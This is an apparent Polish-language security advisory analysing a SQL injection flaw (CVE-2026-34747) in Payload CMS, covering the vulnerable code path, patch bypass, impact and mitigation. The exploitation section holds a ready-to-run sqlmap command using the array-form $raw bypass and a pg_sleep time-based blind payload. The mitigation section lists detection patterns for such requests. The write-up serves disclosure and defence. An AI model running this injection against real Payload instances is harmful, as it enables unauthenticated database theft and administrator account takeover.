Wprowadzenie
Payload to open-source CMS oparty na Next.js, który w ramach zapytań wykorzystuje zagnieżdżone operatory filtrów dla pól kolekcji oraz pól join.
Pole
joinw Payload to takie, które pobiera rekordy z danej kolekcji, na przykładPostsprzypisane do danejCategory. Polimorficzny join to taki, którego powiązane rekordy mogą pochodzić z kilku kolekcji (np.Posts,PageslubProducts), a nie tylko z jednej kategorii.
Implementacja polimorficznego pola join w wersjach poprzedzających 3.79.1 zachowuje operatory kontrolowane przez atakującego od qs.parse() aż do endpointu sql.raw() w Drizzle.
Każda instancja udostępniająca publicznie odczytywalną kolekcję z polimorficznym polem join jest osiągalna bez uwierzytelnienia. Pojedyncze żądanie HTTP umieszcza dostarczony przez atakującego ciąg SQL w prepared statement wykonującym zapytanie względem bazy danych.
Szczegóły Podatności
| Pole | Wartość |
|---|---|
| CVE ID | CVE-2026-34747 |
| Krytyczność | High |
| Wynik CVSS 3.1 | 8.5 |
| Wersje podatne | Payload < 3.79.1 |
| Wektor ataku | Sieciowy, HTTP GET/POST do API REST |
| Wymagane uwierzytelnienie | Brak (publiczna kolekcja + polimorficzne pole join) |
| Data publikacji | 30 marca 2026 |
Analiza Techniczna
W trakcie przetwarzania żądania parser akceptuje dowolne zagnieżdżone operatory zapytania, sanitizer pola join pozostawia kontrolowany przez użytkownika obiekt where bez zmian, a walidacja odrzuca nieznane operatory tylko wtedy, gdy ich wartość nie jest obiektem. Następnie endpoint Drizzle przekształca wartość $raw w bezpośrednie wywołanie sql.raw(), które silnik bazy danych ostatecznie interpretuje jako składnię SQL zamiast jako parametr zapytania.
Parser zapytań zachowuje zagnieżdżony operator
Wstępnie, zapytanie użytkownika jest przetwarzane za pomocą qs.parse() w pliku packages/payload/src/utilities/createPayloadRequest.ts:
// utilities/createPayloadRequest.ts
const query = queryToParse
? qs.parse(queryToParse, {
arrayLimit: 1000,
depth: 10,
ignoreQueryPrefix: true,
})
: {}
qs (qs-esm) to powszechnie używana biblioteka Node.js do parsowania query stringów. Notację nawiasów kwadratowych odczytuje jako zagnieżdżoną strukturę. a[b][c]=1 staje się { a: { b: { c: '1' } } }, natomiast zastosowanie indeku liczbowego takiego jak a[b][0]=1 daje tablicę ({ a: { b: ['1'] } }).
Zagnieżdżona forma filtra w postaci:
?joins[children][where][id][$raw]=true
zostaje zamieniona na uporządkowany obiekt zanim nastąpi jakikolwiek proces walidacji jego zawartości:
{
"joins": {
"children": {
"where": {
"id": {
"$raw": "true"
}
}
}
}
}
Na tym etapie niebezpieczny operator $raw i jego zawartość stają się elementem sparsowanego filtra, który będzie dalej przetwarzany.
Sanityzacja join nie usuwa nieznanych operatorów
Po tym, jak createPayloadRequest zbuduje żądanie, sparsowane zapytanie jest przechowywane w req.query. Handler findHandler przekazuje ten obiekt przez parseParams(), który kieruje element joins do sanitizeJoinParams(). Funkcja ta jest zdefiniowana w pliku collections/endpoints/find.ts:
// utilities/parseParams/index.ts
if ('joins' in params) {
parsedParams.joins = sanitizeJoinParams(params.joins as JoinParams)
}
Wbrew nazwie, sanitizeJoinParams() jest konwerterem typów, a nie filtrem bezpieczeństwa. Opis tej funkcji brzmi: "Convert request JoinQuery object from strings to numbers." Dla każdego pola join funkcja konstruuje nowy obiekt zawierający tylko count, limit, page, sort oraz where, konwertując tekstowe wartości liczbowe na liczby, a "true"/"false" na wartości typu boolean.
Pole where jest jednak zwracane w niezmienionej postaci:
// utilities/sanitizeJoinParams.ts
joinQuery[schemaPath] = {
count: joins[schemaPath].count === 'true',
limit: isNumber(joins[schemaPath]?.limit) ? Number(joins[schemaPath].limit) : undefined,
page: isNumber(joins[schemaPath]?.page) ? Number(joins[schemaPath].page) : undefined,
sort: joins[schemaPath]?.sort ? joins[schemaPath].sort : undefined,
where: joins[schemaPath]?.where ? joins[schemaPath].where : undefined, // [!] brak zmian
}
Na żadnym etapie nie ma rekurencyjnego przejścia przez where, nie ma listy dozwolonych kluczy ani filtrowania operatorów. Cokolwiek zostało zwrócone przez qs.parse(), w tym { id: { $raw: "true" } } lub { id: { $raw: ["true"] } }, przechodzi dalej bez zmian. Operator $raw pozostaje bez zmian, ponieważ kod nigdy nie sprawdza, co znajduje się wewnątrz where.
Walidacja w 3.78.0 jest wrażliwa na reprezentację
Kolejny etap dokonuje walidacji filtrów pod kątem dozwolonych operatorów, zanim zostaną przekazane do warstwy bazy danych. Poprawka zaimplementowana w wersji 3.78.0 zawiera dodatkową walidację, której zadaniem jest zatrzymanie nieznanych operatorów:
// database/queryValidation/validateQueryPaths.ts
} else if (!Array.isArray(constraint)) {
for (const operator in constraint) {
const val = constraint[operator as keyof typeof constraint]
if (validOperatorSet.has(operator as Operator)) {
// . . .
// walidacja dozwolonych operatorów
// . . .
} else if (typeof val !== 'object' || val === null) { // poprawka 3.78.0: ta walidacja nie istniała w 3.77.0
errors.push({ path: `${path}.${operator}` })
}
}
}
Z założenia sprawdzenie odrzuca nieznane operatory. W praktyce odrzucenie zachodzi tylko wtedy, gdy wartość operatora nie jest obiektem. W JavaScript tablice spełniają warunek typeof value === 'object', więc tablicowa postać zapytania przechodzi walidację bez zmian:
joins[children][where][id][$raw]=true # postać skalarna — odrzucana w 3.78.0
joins[children][where][id][$raw][0]=true # postać tablicowa — wciąż akceptowana
Wynika to z faktu, że qs.parse() zamienia drugą postać na:
{ "$raw": ["true"] }
Dla takiej wartości warunek typeof val !== 'object' jest fałszywy, więc nie zostaje zgłoszony żaden błąd walidacji.
Poprawka w 3.78.0 była wrażliwa na reprezentację: odrzucała niebezpieczny operator na podstawie postaci danych wejściowych, pozostawiając niezmieniony niebezpieczny endpoint.
Endpoint umieszcza złośliwą wartość w zapytaniu SQL
Krytyczny etap znajduje się w pliku packages/drizzle/src/find/traverseFields.ts, w którym adapter Drizzle tłumaczy operatory zapytań na zapytania do bazy SQL. Przed wersją 3.79.1 kod ten wywoływał sql.raw() z wartością operatora $raw bez sprawdzania jej typu:
// drizzle/src/find/traverseFields.ts
if (payloadOperator === '$raw') {
return sql.raw(value)
}
sql.raw() to funkcja pomocnicza z drizzle-orm służąca do wstawiania tekstu bezpośrednio do zapytania. String, który otrzymuje ta funkcja, staje się częścią zapytania SQL parsowanego przez bazę danych. Baza danych traktuje go jako kod SQL, a nie jako wartość filtra.
Wewnętrznie sql.raw() jest prostym wrapperem, który przekazuje swój argument do konstruktora StringChunk:
// drizzle-orm/src/sql/sql.ts — function raw
export function raw(str: string): SQL {
return new SQL([new StringChunk(str)]);
}
Jednoelementowa tablica taka jak ["payload"] jest normalizowana przez ten konstruktor do tej samej postaci, co string "payload":
// drizzle-orm/src/sql/sql.ts — class StringChunk
constructor(value: string | string[]) {
this.value = Array.isArray(value) ? value : [value];
}
W wersji 3.78.0 warstwa walidacji traktowała te dwie reprezentacje odmiennie, ale endpoint traktował je jako równoważne. Gdy operator $raw pokonał wcześniejsze warstwy, adapter przestał interpretować dane wejściowe jako wartość, a zaczął traktować je jako składnię SQL.
Atakujący kontroluje zapytanie SQL trafiające do bazy danych przez polimorficzne pole join. Endpoint wywołuje
sql.raw(value)bez jakichkolwiek zabezpieczeń. Wartość trafia wprost do zapytania SQL, a jej typ nie jest weryfikowany.
Eksploitacja
Podatność można potwierdzić jednym żądaniem HTTP. Tablicowa postać operatora jest wymagana do obejścia walidacji w 3.78.0. W przypadku 3.77.0 obie postaci są poprawne.
Poniższa demonstracja została przeprowadzona z wykorzystaniem instancji Payload korzystającej z bazy PostgreSQL.
sqlmap one-shot
sqlmap -u "https://[target.host]/api/[collection]?joins[children][where][id][\$raw][0]=*" \
--method GET -p "joins[children][where][id][\$raw][0]" \
--dbms PostgreSQL --technique=T \
--level 5 --risk 3 --batch --force-ssl --threads=10
sqlmap potwierdza skuteczność ataku typu time-based blind z perspektywy nieuwierzytelnionej, bez wcześniejszej sesji, próby logowania ani danych uwierzytelniających.
Parameter: joins[children][where][id][$raw][0] ((custom) GET)
Type: time-based blind
Title: PostgreSQL > 8.1 AND time-based blind
Payload: joins[children][where][id][$raw][0]=1 AND 5067=(SELECT 5067 FROM PG_SLEEP(5))
Powyższy wynik potwierdza możliwość przeprowadzenia ataku SQL Injection typu time-based blind poprzez wykorzystanie tablicowej postaci operatora
$raw, umożliwiającego ekstrakcję informacji z bazy danych.
Wpływ Podatności
- Pełen odczyt bazy danych: Pojedyncze nieuwierzytelnione żądanie HTTP pozwala na odczyt dowolnej kolumny dowolnej tabeli dostępnej w bazie danych, w tym tabeli
usersoraz danych sesji użytkowników. - Przejęcie konta administratora: Hashe bcrypt poświadczeń administratora oraz salt znajdujące się w tabeli
usersumożliwiają łamanie offline po wyeksfiltrowaniu odpowiednich kolumn. - Wysokie prawdopodobieństwo eksploitacji: Jeśli udostępniona jest publicznie odczytywalna kolekcja z polimorficznym polem join, atak nie wymaga uwierzytelnienia.
Mitygacja i Naprawa
- Natychmiastowa aktualizacja: Zaktualizuj każde wdrożenie Payload CMS w zakresie wersji podatnych do wydania 3.79.1, które zawiera oficjalną poprawkę. Wersja 3.78.0 w pełni nie usuwa tej podatności.
- Sprawdź obecność poprawki: W wersji 3.79.1 walidacja w
validateQueryPaths()odrzuca każdy nieznany operator, bez względu na to, jakiego typu jest jego wartość. FunkcjabuildSQLWhere()po napotkaniu operatora$rawprzerywa swoje działanie, jeśli wartość nie jest stringiem, dzięki czemusql.raw()nie zostaje wywołane. - Rotacja danych uwierzytelniających i sesji: Zresetuj hasła administratorów, dokonaj rotacji kluczy API oraz unieważnij wszystkie aktywne sesje. Przyjmij, że każda upubliczniona instancja sprzed wersji 3.79.1 z publicznym polimorficznym polem join została skompromitowana.
- Audyt logów: Monitoruj żądania zawierające
joins[...][where][...][$raw](z[0]lub bez),pg_sleep(,SELECT,UNIONlubBENCHMARK(w zapytaniu, a także te wykazujące czasy odpowiedzi znacznie wyższe niż standardowy czas odpowiedzi tego endpointa.
Źródła
- CVE-2026-34747
- Payload CMS advisory GHSA-7xxh-373w-35vg
- GHSA-7xxh-373w-35vg - GitHub Security Advisory
- Payload CMS 3.79.1 release
